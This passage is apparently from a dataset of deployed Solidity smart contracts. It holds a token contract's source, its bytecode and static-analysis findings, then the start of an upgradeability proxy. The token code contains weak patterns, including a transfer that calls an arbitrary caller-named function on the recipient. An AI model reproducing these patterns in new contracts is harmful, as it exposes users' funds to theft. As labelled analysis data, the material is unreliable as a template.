balances[msg.sender].add(_amount); Transfer(_addr, msg.sender, _amount); return true; } function approve(address _spender, uint256 _value) public isRunning returns (bool) { require(compatible20); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } function transferFrom(address _from, address _to, uint256 _value) public isRunning returns (bool) { require(compatible20); require(isUnlocked(_from)); require(isUnlocked(_to)); require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); if(isContract(_to)) { bytes memory empty; ReceivingContract rc = ReceivingContract(_to); rc.tokenFallback(msg.sender, _value, empty); } Transfer(_from, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value, bytes _data) public isRunning returns (bool) { require(compatible223); require(isUnlocked(_from)); require(isUnlocked(_to)); require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); if(isContract(_to)) { ReceivingContract rc = ReceivingContract(_to); rc.tokenFallback(msg.sender, _value, _data); } Transfer(msg.sender, _to, _value, _data); Transfer(_from, _to, _value); return true; } function increaseApproval(address _spender, uint _addedValue) public isRunning returns (bool) { require(compatible20); allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public isRunning returns (bool) { require(compatible20); uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function mint(address _to, uint256 _amount) onlyOwner canMint public isRunning returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } function finishMinting(address _addr) onlyOwner public returns (bool) { require(_addr==owner); mintingFinished = true; MintFinished(); return true; } function burn(uint256 _value) public isRunning { require(_value > 0); require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(msg.sender, _value); } function isContract(address _addr) private view returns (bool is_contract) { uint ln; assembly { ln := extcodesize(_addr) } return (ln > 0); } function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public isRunning returns (bool ok) { require(compatible223ex); require(isUnlockedBoth(_to)); require(balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); if (isContract(_to)) { assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); } Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } function transfer(address _to, uint _value, bytes _data) public isRunning returns (bool ok) { require(compatible223); require(isUnlockedBoth(_to)); require(balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); if(isContract(_to)) { ReceivingContract rc = ReceivingContract(_to); rc.tokenFallback(msg.sender, _value, _data); } Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } function transfer(address _to, uint _value) public isRunning returns (bool ok) { require(isUnlockedBoth(_to)); require(balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); if(isContract(_to)) { bytes memory empty; ReceivingContract rc = ReceivingContract(_to); rc.tokenFallback(msg.sender, _value, empty); } Transfer(msg.sender, _to, _value); return true; } function name() public view returns (string _name) { return name; } function symbol() public view returns (string _symbol) { return symbol; } function decimals() public view returns (uint8 _decimals) { return decimals; } function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function distributeTokens(address[] _addresses, uint256 _amount) onlyOwner public isRunning returns(bool) { require(_addresses.length > 0 && isUnlocked(msg.sender)); uint256 totalAmount = _amount.mul(_addresses.length); require(balances[msg.sender] >= totalAmount); for (uint j = 0; j < _addresses.length; j++) { require(isUnlocked(_addresses[j])); balances[_addresses[j]] = balances[_addresses[j]].add(_amount); Transfer(msg.sender, _addresses[j], _amount); } balances[msg.sender] = balances[msg.sender].sub(totalAmount); DistributeTokens(_addresses.length, totalAmount); return true; } function distributeTokens(address[] _addresses, uint256[] _amounts) onlyOwner public isRunning returns (bool) { require(_addresses.length > 0 && _addresses.length == _amounts.length && isUnlocked(msg.sender)); uint256 totalAmount = 0; for(uint j = 0; j < _addresses.length; j++){ require(_amounts[j] > 0 && _addresses[j] != 0x0 && isUnlocked(_addresses[j])); totalAmount = totalAmount.add(_amounts[j]); } require(balances[msg.sender] >= totalAmount); for (j = 0; j < _addresses.length; j++) { balances[_addresses[j]] = balances[_addresses[j]].add(_amounts[j]); Transfer(msg.sender, _addresses[j], _amounts[j]); } balances[msg.sender] = balances[msg.sender].sub(totalAmount); DistributeTokens(_addresses.length, totalAmount); return true; } function upgrade(uint256 _value) external isRunning { require(upgradable); require(upgradeAgent != 0); require(_value != 0); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); totalUpgraded = totalUpgraded.add(_value); UpgradeAgent(upgradeAgent).upgradeFrom(msg.sender, _value); Upgrade(msg.sender, upgradeAgent, _value); } function setUpgradeAgent(address _agent) external { require(_agent != 0); require(!upgradeAgentLocked); require(msg.sender == upgradeMaster); upgradeAgent = _agent; upgradeAgentLocked = true; } function setUpgradeMaster(address _master) external { require(_master != 0); require(msg.sender == upgradeMaster); upgradeMaster = _master; } }
0x6060604052600436106102375763ffffffff60e060020a60003504166305d2035b811461023c57806306fdde0314610263578063095ea7b3146102ed57806309f8cc581461030f5780630f86f7021461032257806310717a2e1461033557806318160ddd1461034f57806323b872dd14610374578063256fa2411461039c5780632cad9404146103ed578063313ce5671461040057806340c10f191461042957806342966c681461044b57806345977d03146104615780634b4a5088146104775780634bd09c2a1461048f5780635713fcb71461051e5780635c975abb146105315780635de4ccb014610544578063600440cb146105735780636268854d1461058657806366188463146105a5578063683de015146105c75780636ca562d6146105df57806370a08231146105f75780637132ebcd1461061657806372054df41461062e5780637619220014610641578063860838a5146106605780638da5cb5b1461067f57806395d89b4114610692578063a6f9dae1146106a5578063a9059cbb146106c4578063ab67aa58146106e6578063af303a1114610752578063be45fd6214610774578063c341b9f6146107d9578063c752ff621461082c578063c9206ddf1461083f578063d73dd62314610863578063d7e7088a14610885578063dd62ed3e146108a4578063e5ac7291146108c9578063e63b029d1461091a578063ebd0d82014610939578063ee94bdaf14610958578063f4d26fec14610970578063f6368f8a14610983578063ffeb7d7514610a2a575b600080fd5b341561024757600080fd5b61024f610a49565b604051901515815260200160405180910390f35b341561026e57600080fd5b610276610a6d565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156102b257808201518382015260200161029a565b50505050905090810190601f1680156102df5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156102f857600080fd5b61024f600160a060020a0360043516602435610b15565b341561031a57600080fd5b61024f610bb0565b341561032d57600080fd5b61024f610bc0565b341561034057600080fd5b61034d6004351515610bd0565b005b341561035a57600080fd5b610362610c1b565b60405190815260200160405180910390f35b341561037f57600080fd5b61024f600160a060020a0360043581169060243516604435610c21565b34156103a757600080fd5b61024f60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505093359350610ef192505050565b34156103f857600080fd5b61024f61110d565b341561040b57600080fd5b610413611132565b60405160ff909116815260200160405180910390f35b341561043457600080fd5b61024f600160a060020a036004351660243561113b565b341561045657600080fd5b61034d600435611262565b341561046c57600080fd5b61034d600435611343565b341561048257600080fd5b61034d60043515156114d9565b341561049a57600080fd5b61024f60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061152395505050505050565b341561052957600080fd5b61024f611723565b341561053c57600080fd5b61024f611733565b341561054f57600080fd5b610557611743565b604051600160a060020a03909116815260200160405180910390f35b341561057e57600080fd5b610557611752565b341561059157600080fd5b61024f600160a060020a0360043516611761565b34156105b057600080fd5b61024f600160a060020a0360043516602435611776565b34156105d257600080fd5b61034d60043515156118a5565b34156105ea57600080fd5b61034d60043515156118f5565b341561060257600080fd5b610362600160a060020a0360043516611954565b341561062157600080fd5b61034d600435151561196f565b341561063957600080fd5b61024f6119be565b341561064c57600080fd5b61024f600160a060020a03600435166119e1565b341561066b57600080fd5b61024f600160a060020a0360043516611a88565b341561068a57600080fd5b610557611a9d565b341561069d57600080fd5b610276611aac565b34156106b057600080fd5b61034d600160a060020a0360043516611b1f565b34156106cf57600080fd5b61024f600160a060020a0360043516602435611bba565b34156106f157600080fd5b61024f600160a060020a036004803582169160248035909116916044359160849060643590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650611dc095505050505050565b341561075d57600080fd5b61024f600160a060020a036004351660243561212b565b341561077f57600080fd5b61024f60048035600160a060020a03169060248035919060649060443590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506122e195505050505050565b34156107e457600080fd5b61034d600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965050505091351515915061259a9050565b341561083757600080fd5b6103626126a1565b341561084a57600080fd5b61034d600160a060020a036004351660243515156126a7565b341561086e57600080fd5b61024f600160a060020a03600435166024356126ed565b341561089057600080fd5b61034d600160a060020a03600435166127c1565b34156108af57600080fd5b610362600160a060020a0360043581169060243516612863565b34156108d457600080fd5b61034d6004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843750949650509335935061288e92505050565b341561092557600080fd5b61024f600160a060020a0360043516612995565b341561094457600080fd5b610362600160a060020a0360043516612a12565b341561096357600080fd5b61034d6004351515612a24565b341561097b57600080fd5b61024f612a75565b341561098e57600080fd5b61024f60048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f016020809104026020016040519081016040528181529291906020840183838082843750949650612a8595505050505050565b3415610a3557600080fd5b61034d600160a060020a0360043516612ca7565b600d5477010000000000000000000000000000000000000000000000900460ff1681565b610a75612e31565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b0b5780601f10610ae057610100808354040283529160200191610b0b565b820191906000526020600020905b815481529060010190602001808311610aee57829003601f168201915b5050505050905090565b600d5460009060c860020a900460ff1615610b2f57600080fd5b600d5460a060020a900460ff161515610b4757600080fd5b600160a060020a03338116600081815260096020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b600d5460d860020a900460ff1681565b600d5460a860020a900460ff1681565b60015433600160a060020a03908116911614610beb57600080fd5b600d805491151560a860020a0275ff00000000000000000000000000000000000000000019909216919091179055565b60055490565b6000610c2b612e31565b600d5460009060c860020a900460ff1615610c4557600080fd5b600d5460a060020a900460ff161515610c5d57600080fd5b610c6686612d06565b1515610c7157600080fd5b610c7a85612d06565b1515610c8557600080fd5b600160a060020a0385161515610c9a57600080fd5b600160a060020a038616600090815260066020526040902054841115610cbf57600080fd5b600160a060020a0380871660009081526009602090815260408083203390941683529290522054841115610cf257600080fd5b600160a060020a038616600090815260066020526040902054610d1b908563ffffffff612d4c16565b600160a060020a038088166000908152600660205260408082209390935590871681522054610d50908563ffffffff612d5e16565b600160a060020a03808716600090815260066020908152604080832094909455898316825260098152838220339093168252919091522054610d98908563ffffffff612d4c16565b600160a060020a0380881660009081526009602090815260408083203390941683529290522055610dc885612d74565b15610eb0575083600160a060020a03811663c0ee0b8a3386856040518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610e4e578082015183820152602001610e36565b50505050905090810190601f168015610e7b5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1515610e9b57600080fd5b6102c65a03f11515610eac57600080fd5b5050505b84600160a060020a031686600160a060020a0316600080516020612e5b8339815191528660405190815260200160405180910390a350600195945050505050565b6001546000908190819033600160a060020a03908116911614610f1357600080fd5b600d5460c860020a900460ff1615610f2a57600080fd5b60008551118015610f3f5750610f3f33612d06565b1515610f4a57600080fd5b610f5c8551859063ffffffff612d7c16565b600160a060020a03331660009081526006602052604090205490925082901015610f8557600080fd5b5060005b845181101561108557610fb0858281518110610fa157fe5b90602001906020020151612d06565b1515610fbb57600080fd5b610fff8460066000888581518110610fcf57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff612d5e16565b6006600087848151811061100f57fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205584818151811061103f57fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020612e5b8339815191528660405190815260200160405180910390a3600101610f89565b600160a060020a0333166000908152600660205260409020546110ae908363ffffffff612d4c16565b600160a060020a0333166000908152600660205260409020557f814d1c01dd9d41d8814a098865d02ec577732a960a0c116bc8181cade7c4004585518360405191825260208201526040908101905180910390a1506001949350505050565b600d547801000000000000000000000000000000000000000000000000900460ff1681565b60045460ff1690565b60015460009033600160a060020a0390811691161461115957600080fd5b600d5477010000000000000000000000000000000000000000000000900460ff161561118457600080fd5b600d5460c860020a900460ff161561119b57600080fd5b6005546111ae908363ffffffff612d5e16565b600555600160a060020a0383166000908152600660205260409020546111da908363ffffffff612d5e16565b600160a060020a0384166000818152600660205260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a0383166000600080516020612e5b8339815191528460405190815260200160405180910390a350600192915050565b600d5460009060c860020a900460ff161561127c57600080fd5b6000821161128957600080fd5b600160a060020a0333166000908152600660205260409020548211156112ae57600080fd5b5033600160a060020a0381166000908152600660205260409020546112d39083612d4c565b600160a060020a0382166000908152600660205260409020556005546112ff908363ffffffff612d4c16565b600555600160a060020a0333167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a25050565b600d5460c860020a900460ff161561135a57600080fd5b600d5460d060020a900460ff16151561137257600080fd5b600f54600160a060020a0316151561138957600080fd5b80151561139557600080fd5b600160a060020a0333166000908152600660205260409020548111156113ba57600080fd5b600160a060020a0333166000908152600660205260409020546113e3908263ffffffff612d4c16565b600160a060020a03331660009081526006602052604090205560055461140f908263ffffffff612d4c16565b600555601054611425908263ffffffff612d5e16565b601055600f54600160a060020a031663753e88e5338360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b151561147e57600080fd5b6102c65a03f1151561148f57600080fd5b5050600f54600160a060020a03908116915033167f7e5c344a8141a805725cb476f76c6953b842222b967edd1f78ddb6e8b3f397ac8360405190815260200160405180910390a350565b60015433600160a060020a039081169116146114f457600080fd5b600d805491151560a060020a0274ff000000000000000000000000000000000000000019909216919091179055565b6001546000908190819033600160a060020a0390811691161461154557600080fd5b600d5460c860020a900460ff161561155c57600080fd5b6000855111801561156e575083518551145b801561157e575061157e33612d06565b151561158957600080fd5b5060009050805b845181101561162c5760008482815181106115a757fe5b906020019060200201511180156115db57508481815181106115c557fe5b90602001906020020151600160a060020a031615155b80156115f157506115f1858281518110610fa157fe5b15156115fc57600080fd5b61162284828151811061160b57fe5b90602001906020020151839063ffffffff612d5e16565b9150600101611590565b600160a060020a0333166000908152600660205260409020548290101561165257600080fd5b5060005b84518110156110855761168884828151811061166e57fe5b9060200190602002015160066000888581518110610fcf57fe5b6006600087848151811061169857fe5b90602001906020020151600160a060020a031681526020810191909152604001600020558481815181106116c857fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020612e5b83398151915286848151811061170057fe5b9060200190602002015160405190815260200160405180910390a3600101611656565b600d5460a060020a900460ff1681565b600d5460c860020a900460ff1681565b600f54600160a060020a031681565b600e54600160a060020a031681565b600a6020526000908152604090205460ff1681565b600d54600090819060c860020a900460ff161561179257600080fd5b600d5460a060020a900460ff1615156117aa57600080fd5b50600160a060020a033381166000908152600960209081526040808320938716835292905220548083111561180657600160a060020a03338116600090815260096020908152604080832093881683529290529081205561183d565b611816818463ffffffff612d4c16565b600160a060020a033381166000908152600960209081526040808320938916835292905220555b600160a060020a0333811660008181526009602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a3600191505b5092915050565b60015433600160a060020a039081169116146118c057600080fd5b600d805491151560d060020a027aff000000000000000000000000000000000000000000000000000019909216919091179055565b60015433600160a060020a0390811691161461191057600080fd5b600d80549115157601000000000000000000000000000000000000000000000276ff0000000000000000000000000000000000000000000019909216919091179055565b600160a060020a031660009081526006602052604090205490565b60015433600160a060020a0390811691161461198a57600080fd5b600d805491151560c860020a0279ff0000000000000000000000000000000000000000000000000019909216919091179055565b600d54760100000000000000000000000000000000000000000000900460ff1681565b60015460009033600160a060020a039081169116146119ff57600080fd5b600154600160a060020a03838116911614611a1957600080fd5b600d805477ff00000000000000000000000000000000000000000000001916770100000000000000000000000000000000000000000000001790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a1506001919050565b60086020526000908152604090205460ff1681565b600154600160a060020a031681565b611ab4612e31565b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b0b5780601f10610ae057610100808354040283529160200191610b0b565b60015433600160a060020a03908116911614611b3a57600080fd5b600160a060020a0381161515611b4f57600080fd5b600154600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000611bc4612e31565b600d5460009060c860020a900460ff1615611bde57600080fd5b611be785612da7565b1515611bf257600080fd5b600160a060020a03331660009081526006602052604090205484901015611c1857600080fd5b600160a060020a033316600090815260066020526040902054611c41908563ffffffff612d4c16565b600160a060020a033381166000908152600660205260408082209390935590871681522054611c76908563ffffffff612d5e16565b600160a060020a038616600090815260066020526040902055611c9885612d74565b15611d80575083600160a060020a03811663c0ee0b8a3386856040518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611d1e578082015183820152602001611d06565b50505050905090810190601f168015611d4b5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1515611d6b57600080fd5b6102c65a03f11515611d7c57600080fd5b5050505b84600160a060020a031633600160a060020a0316600080516020612e5b8339815191528660405190815260200160405180910390a3506001949350505050565b600d54600090819060c860020a900460ff1615611ddc57600080fd5b600d5460a860020a900460ff161515611df457600080fd5b611dfd86612d06565b1515611e0857600080fd5b611e1185612d06565b1515611e1c57600080fd5b600160a060020a0385161515611e3157600080fd5b600160a060020a038616600090815260066020526040902054841115611e5657600080fd5b600160a060020a0380871660009081526009602090815260408083203390941683529290522054841115611e8957600080fd5b600160a060020a038616600090815260066020526040902054611eb2908563ffffffff612d4c16565b600160a060020a038088166000908152600660205260408082209390935590871681522054611ee7908563ffffffff612d5e16565b600160a060020a03808716600090815260066020908152604080832094909455898316825260098152838220339093168252919091522054611f2f908563ffffffff612d4c16565b600160a060020a0380881660009081526009602090815260408083203390941683529290522055611f5f85612d74565b15612047575083600160a060020a03811663c0ee0b8a3386866040518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611fe5578082015183820152602001611fcd565b50505050905090810190601f1680156120125780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b151561203257600080fd5b6102c65a03f1151561204357600080fd5b5050505b826040518082805190602001908083835b602083106120775780518252601f199092019160209182019101612058565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031686600160a060020a0316600080516020612e5b8339815191528660405190815260200160405180910390a350600195945050505050565b60015460009033600160a060020a0390811691161461214957600080fd5b600d5460c860020a900460ff161561216057600080fd5b6000821180156121895750600160a060020a038316600090815260066020526040902054829010155b151561219457600080fd5b600160a060020a033316600090815260076020526040902054421180156121d25750600160a060020a03831660009081526007602052604090205442115b15156121dd57600080fd5b600160a060020a0383166000908152600a602052604090205460ff16151560011480156122295750600d547801000000000000000000000000000000000000000000000000900460ff16155b151561223457600080fd5b600160a060020a03831660009081526006602052604090205461225d908363ffffffff612d4c16565b600160a060020a03808516600090815260066020526040808220939093553390911681522054612293908363ffffffff612d5e16565b600160a060020a0333811660008181526006602052604090819020939093559190851690600080516020612e5b8339815191529085905190815260200160405180910390a350600192915050565b600d54600090819060c860020a900460ff16156122fd57600080fd5b600d5460a860020a900460ff16151561231557600080fd5b61231e85612da7565b151561232957600080fd5b600160a060020a0333166000908152600660205260409020548490101561234f57600080fd5b600160a060020a033316600090815260066020526040902054612378908563ffffffff612d4c16565b600160a060020a0333811660009081526006602052604080822093909355908716815220546123ad908563ffffffff612d5e16565b600160a060020a0386166000908152600660205260409020556123cf85612d74565b156124b7575083600160a060020a03811663c0ee0b8a3386866040518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561245557808201518382015260200161243d565b50505050905090810190601f1680156124825780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15156124a257600080fd5b6102c65a03f115156124b357600080fd5b5050505b826040518082805190602001908083835b602083106124e75780518252601f1990920191602091820191016124c8565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a0316600080516020612e5b8339815191528660405190815260200160405180910390a3506001949350505050565b60015460009033600160a060020a039081169116146125b857600080fd5b60008351116125c657600080fd5b5060005b825181101561269c578281815181106125df57fe5b90602001906020020151600160a060020a031615156125fd57600080fd5b816008600085848151811061260e57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff191691151591909117905582818151811061264c57fe5b90602001906020020151600160a060020a03167fa33e6b076d391e96626483b30e365719f79f1d6594aff6587649ffd6c82ed7fa83604051901515815260200160405180910390a26001016125ca565b505050565b60105481565b60015433600160a060020a039081169116146126c257600080fd5b600160a060020a03919091166000908152600a60205260409020805460ff1916911515919091179055565b600d5460009060c860020a900460ff161561270757600080fd5b600d5460a060020a900460ff16151561271f57600080fd5b600160a060020a03338116600090815260096020908152604080832093871683529290522054612755908363ffffffff612d5e16565b600160a060020a0333811660008181526009602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03811615156127d657600080fd5b600d5460d860020a900460ff16156127ed57600080fd5b600e5433600160a060020a0390811691161461280857600080fd5b600f8054600160a060020a0390921673ffffffffffffffffffffffffffffffffffffffff19909216919091179055600d80547bff000000000000000000000000000000000000000000000000000000191660d860020a179055565b600160a060020a03918216600090815260096020908152604080832093909416825291909152205490565b60015460009033600160a060020a039081169116146128ac57600080fd5b60008351116128ba57600080fd5b5060005b825181101561269c5781600760008584815181106128d857fe5b90602001906020020151600160a060020a031681526020810191909152604001600020541061290657600080fd5b816007600085848151811061291757fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205582818151811061294757fe5b90602001906020020151600160a060020a03167ff7c3865a2047e2fc614fff3af48eef519dfd5243847cbefd615b3a150a9db5b08360405190815260200160405180910390a26001016128be565b60015460009033600160a060020a039081169116146129b357600080fd5b600154600160a060020a038381169116146129cd57600080fd5b50600d805478ff000000000000000000000000000000000000000000000000191678010000000000000000000000000000000000000000000000001790556001919050565b60076020526000908152604090205481565b60015433600160a060020a03908116911614612a3f57600080fd5b600d805491151560d860020a027bff00000000000000000000000000000000000000000000000000000019909216919091179055565b600d5460d060020a900460ff1681565b600d5460009060c860020a900460ff1615612a9f57600080fd5b600d54760100000000000000000000000000000000000000000000900460ff161515612aca57600080fd5b612ad385612da7565b1515612ade57600080fd5b600160a060020a03331660009081526006602052604090205484901015612b0457600080fd5b600160a060020a033316600090815260066020526040902054612b2d908563ffffffff612d4c16565b600160a060020a033381166000908152600660205260408082209390935590871681522054612b62908563ffffffff612d5e16565b600160a060020a038616600090815260066020526040902055612b8485612d74565b156124b75784600160a060020a03166000836040518082805190602001908083835b60208310612bc55780518252601f199092019160209182019101612ba6565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b83811015612c56578082015183820152602001612c3e565b50505050905090810190601f168015612c835780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f1935050505015156124b757fe5b600160a060020a0381161515612cbc57600080fd5b600e5433600160a060020a03908116911614612cd757600080fd5b600e805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a03811660009081526007602052604081205442118015612d465750600160a060020a03821660009081526008602052604090205460ff16155b92915050565b600082821115612d5857fe5b50900390565b600082820183811015612d6d57fe5b9392505050565b6000903b1190565b600080831515612d8f576000915061189e565b50828202828482811515612d9f57fe5b0414612d6d57fe5b600160a060020a03331660009081526007602052604081205442118015612de55750600160a060020a03821660009081526007602052604090205442115b8015612e0a5750600160a060020a03331660009081526008602052604090205460ff16155b8015612d46575050600160a060020a031660009081526008602052604090205460ff161590565b60206040519081016040526000815290565b6000808284811515612e5157fe5b049493505050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058206225c99c0817e637457b3ccd59b7e77b3a92cb9ae28dab86bec58c6679360b880029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
292
0x9b4efa18c0c6b4822225b81d150f3518160f8609
/** *Submitted for verification at Etherscan.io on 2021-04-10 */ /** *Submitted for verification at BscScan.com on 2021-03-08 */ /** *Submitted for verification at Etherscan.io on 2020-10-09 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback () payable external { _fallback(); } /** * @dev Receive function. * Implemented entirely in `_fallback`. */ receive () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal virtual view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * 